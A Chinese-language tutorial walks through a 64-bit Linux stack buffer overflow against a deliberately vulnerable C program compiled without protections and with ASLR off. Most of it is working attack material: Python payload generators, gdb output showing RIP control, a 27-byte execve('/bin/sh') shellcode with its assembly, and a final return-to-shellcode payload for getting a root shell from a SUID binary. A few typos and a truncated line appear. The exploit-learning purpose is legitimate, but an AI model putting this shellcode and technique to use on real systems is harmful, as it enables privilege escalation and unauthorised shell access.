/*gcc -fno-stack-protetor -z execstack stack.c -o stack*/
/*echo 0 > /proc/sys/kernel/randomize_va_space*/
#include <stdio.h>
#include <unisted.h>
int vuln(){
char buf[80];
int r;
r = read(0,buf,400);
printf("\nRead %d bytes.buf is %s\n",r,buf);
puts("No shell for you:(");
return 0;
}
int main(int argc,char *argv[])
{
printf("Try to exec /bin/sh");
vuln();
return 0;
}
按照注释进行编译,并且关闭ASLR。
当read()将400字节复制到一个80字节的buffer时,显然在vuln()中存在缓冲区溢出弱点。
构造exploit:
#!/usr/bin/env python
from struct import *
buf = ""
buf +="A"*400
f = open("in.txt","w")
f.write(buf)
这个脚本将创建一个命名为“in.txt”的文件(含有400个字节),将例子加载进gdb并将in.txt的内容重定向到例子中,同时我们可以看看事都可以覆盖到RIP:
Starting program: /root/stackoverflow < in1.txt
Try to exec /bin/sh
Read 400 bytes.buf is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�
No shell for you:(
Program received signal SIGSEGV, Segmentation fault.
[———————————-registers———————————–]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b0ce50 (<__write_nocancel+7>: cmp rax,0xfffffffffffff001)
RDX: 0x7ffff7dd87a0 –> 0x0
RSI: 0x7ffff7ff5000 (“No shell for you:(\nis “, ‘A’ , “\220\001\n”)
RDI: 0x0
RBP: 0x4141414141414141 (‘AAAAAAAA’)
RSP: 0x7fffffffe1e8 (‘A’ …)
RIP: 0x4005df (
#!/usr/bin/env python
from struct import *
buf=""
buf+="A"*104
buf+=pack("<Q",0x42424242)
buf+="C"*290
f=open("in.txt","w")
f.write(buf)
执行上述脚本,将in.txt中的内容进行修改,然后运行gdb。
如图所示,我们可以看到RIP已经被我们所控制。
因为没有NX和ASLP等保护机制,所以可以直接将shellcode写到栈上。然后将返回地址指向栈上的shellcode即可。
/*
* Execute /bin/sh - 27 bytes
* Dad` <3 baboon
;rdi 0x4005c4 0x4005c4
;rsi 0x7fffffffdf40 0x7fffffffdf40
;rdx 0x0 0x0
;gdb$ x/s $rdi
;0x4005c4: "/bin/sh"
;gdb$ x/s $rsi
;0x7fffffffdf40: "\304\005@"
;gdb$ x/32xb $rsi
;0x7fffffffdf40: 0xc4 0x05 0x40 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf48: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf50: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
;0x7fffffffdf58: 0x55 0xb4 0xa5 0xf7 0xff 0x7f 0x00 0x00
;
;=> 0x7ffff7aeff20 <execve>: mov eax,0x3b
; 0x7ffff7aeff25 <execve+5>: syscall
;
main:
;mov rbx, 0x68732f6e69622f2f
;mov rbx, 0x68732f6e69622fff
;shr rbx, 0x8
;mov rax, 0xdeadbeefcafe1dea
;mov rbx, 0xdeadbeefcafe1dea
;mov rcx, 0xdeadbeefcafe1dea
;mov rdx, 0xdeadbeefcafe1dea
xor eax, eax
mov rbx, 0xFF978CD091969DD1
neg rbx
push rbx
;mov rdi, rsp
push rsp
pop rdi
cdq
push rdx
push rdi
;mov rsi, rsp
push rsp
pop rsi
mov al, 0x3b
syscall
*/
#include <stdio.h>
#include <string.h>
char code[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05";
int main()
{
printf("len:%d bytes\n", strlen(code));
(*(void(*)()) code)();
return 0;
}
通过一个环境变量PWN来获取shellcode在栈上的地址:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc,char *argv[])
{
char *ptr;
if(argc<3)
{
printf("Usage:%s<environment var><target program name>\n",argv[0]);
exit(0);
}
ptr = getenv(argv[1]);
ptr += (strlen(argv[0])-strlen(argv[2]))*2
printf("%s will be at %p\n",argv[1],ptr);
return 0;
}
可以看到shellcode在栈上的地址为0x7fffffffedd3
下面我们就修改脚本
#!/usr/bin/env python
from struct import *
buf=""
buf+="A"*104
buf+=pack("<Q",0x7fffffffedd3)
f=open("in.txt","w")
f.write(buf)
确保改变我们的所有权并将例子权限改成SUID(root),因此可以得到我们的root shell。
执行完脚本之后,更新in.txt,并将payload送进例子中,就可以返回shell了。